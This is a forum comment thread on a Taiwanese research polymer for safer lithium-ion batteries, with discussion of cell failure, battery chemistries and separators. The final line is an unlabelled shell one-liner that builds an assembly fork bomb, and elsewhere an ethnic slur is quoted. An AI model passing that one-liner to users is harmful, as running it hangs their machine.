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Making Safer Lithium-Ion Batteries
itwbennett writes "Exploding iPhones may be a thing of the past. Researchers at Taiwan's Industrial Technology Research Institute have developed a new polymer, STOBA (that's self-terminated oligomers with hyper-branched architecture to you and me), that is added to the cathode material inside a lithium-ion battery to keep them from overheating. 'Fires or explosions in these batteries are caused by short circuits,' said Wu Hung-chun, a researcher at ITRI, explaining that even minor mishandling such as dropping the handset could result in damage causing a short circuit. 'The technology is ready for lithium-ion batteries used in electronic devices, mobile phones, laptops,' said Wu. And ITRI has started testing STOBA on electric car batteries."
A few years ago, you could crack open the older Lithium batteries and extract a ribbon of pure Lithium, which of course was fun to douse in water and other stuff to make explosions and other shenanigans. I don't necessarily want safe.
I also want the old liquid mercury thermostats and thermometers... mercury is fun to play with as long as you don't eat it.
"drop phone watch it overheat" is the latter-day version of the halt and catch fire "instruction" of days gone by.
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
"Horse and buggies may now be a thing of the past due to the new honda civic comeing out this year"
You got that right! I'm finally ready to trade in ol' Bessie.
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We looked at using these kinds of batteries for an engineering applicant for a client, so one of our engineers got a sample package of different sizes and shapes of batteries along with a handy CD of what you could and could not do with them. Unfortunately, the application involved possibly putting a battery on the end of an armature to power a light, something the disc explicitly warned against NOT doing -- it came with a nice set of exploding battery clips. Our client saw those and promptly refused to carry a cell phone in any piece of clothing attached to his body from there on it. I think his laptop no longer ever rested on his lap, either...
Step 1: Stop manufacturing them in China
Nearly all Li-Ion battery failures (going out with a boom, pop, or fizzle) are a result of inferior materials being substituted in the manufacturing process.
Li-Ion battery cells (the individual cells containing your delicious electrons - millions in a single manufactured cell, several of those in a single packaged battery) are expected to pop.
Over-charge them? Pop.
Drain them too fast? Pop.
Result? Slightly diminished capacity.
Over time, the capacity gets lower and lower.
The trick is they're isolated, and you don't get enough of them popping at once to cause a noticeable failure (flame, explosion, etc.).
But when you have shitty charging circuitry, shitty components measuring and regulating the current and voltage, and shitty material (like fucking paper) inside the thing, yeah, shit's gonna go up in flames.
Ni-MH is the superior fucking choice. But the self-discharge rate is too high for the plebes to accept. They've got ones that sacrifice capacity for a lower self-discharge rate (such as Sanyo's Eneloop design), but Li-Ion is firmly entrenched, unfortunately.
Apparently the polymer (as far as I can tell) undergoes a cross-linking reaction that acts to slow the movement of Lithium ions following puncture of the battery thus keeping the reaction relatively under control.
http://www.itri.org.tw/eng/Research/Focus-Area/focus-sub-area-category.asp?RootNodeId=0301&NodeId=03013&FieldCD=03200
Sigs are too short to say anything truly profound so read the above post instead.
I'll post this preemptively since usually when battery fires are discussed some people insist this is unavoidable if you want a high energy density, but this is not true. Whether batteries can fail catastrophically or not is mainly down to two things:
a)Whether the energy released when a cell fails is sufficient to cause nearby fails to fail, thereby causing a cascade of failed cells.
b)Whether the materials the battery is made of can react violently with materials it is likely to come into contact with when it does fail.
For traditional Lithium ion batteries the answer to both these questions is yes. The temperature necessary to cause a cell to fail is easily within the range of what is generated when a nearby cell fails. Furthermore the lithium batteries and their electrolyte burn quite well upon contact with air, adding even more energy to the reaction.
There's however no principal reason why this has to be the case. As an example if the heat capacity and conductivity of the battery is good enough it is possible to design batteries so that the failure of one cell won't heat nearby cells enough to cause them to fail. Different chemistries also have different activation energies, as an example lithium iron phosphate batteries are much safer for this reason. It is also quite plausible that one might be able to create a battery from a chemistry that doesn't react violently with oxygen.
Many batteries that use a water-based electrolytes qualify for both these criteria. Water has a high heat capacity and doesn't burn in oxygen. Unfortunately such batteries have other drawbacks. In particular while water itself won't burn it is susceptible to electrolysis at typical battery voltages, producing flammable hydrogen.
Ugh, exploding iPhones again... And yet another misunderstanding about what's going on.
iPhones do not use lithium ion batteries. They use lithium polymer batteries.
The additive is usually in the separator that keeps the lithium and cathode apart (which you want to do). When the battery overheats the separator breaks down and disables the battery, this has been used where I work for over 20+ years, and is in no way new tech. Putting the same thing in the cathode is like putting a guard rail on the very edge of a cliff instead of 15-20 ft from a cliff, it may stop small shorts that slowly develop in the battery, but a major short, or hole in the separator will melt down and become quite dangerous before the cathode is even involved. Plus, how hot before this effect happens? Cathode is heat treated at over 650F, I sure hope it doesnt take that much to trigger this new substance.
Im ok..
In the rc car world, the two major types of batteries in use are lipo (lithium polymer) and nimh. Nimh has less energy density, self discharge, and requires some rest after discharge still to retain full capacity when charged. I run nimh due to reasons I won't go into, but I have my eye on lifepo4, or lithium iron phosphate. They are not only more robust than traditional li cells, they go off in much the same fashion as the batteries mentioned in the article. The disadvantage to them, and why they aren't 'the thing' in rc cars is that they have a voltage disadvantage. Given the strict regulation of motors in spec class racing, a voltage disadvantage is a huge issue. In other applications, where you could pick whatever voltage and number of cells to use, these batteries are awesome. In rc, their voltage makes you pick arranging them in series at a voltage level that is a disadvantage or adding another cell and making yourself have a huge advantage -- ie, their acceptance isn't based on technical merit but existing standards in racing.
No worries. These new, Safer Li-ion batteries will implode instead.
He's not a Chink, he's Taiwanese. What you're doing is like calling an American a limey.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;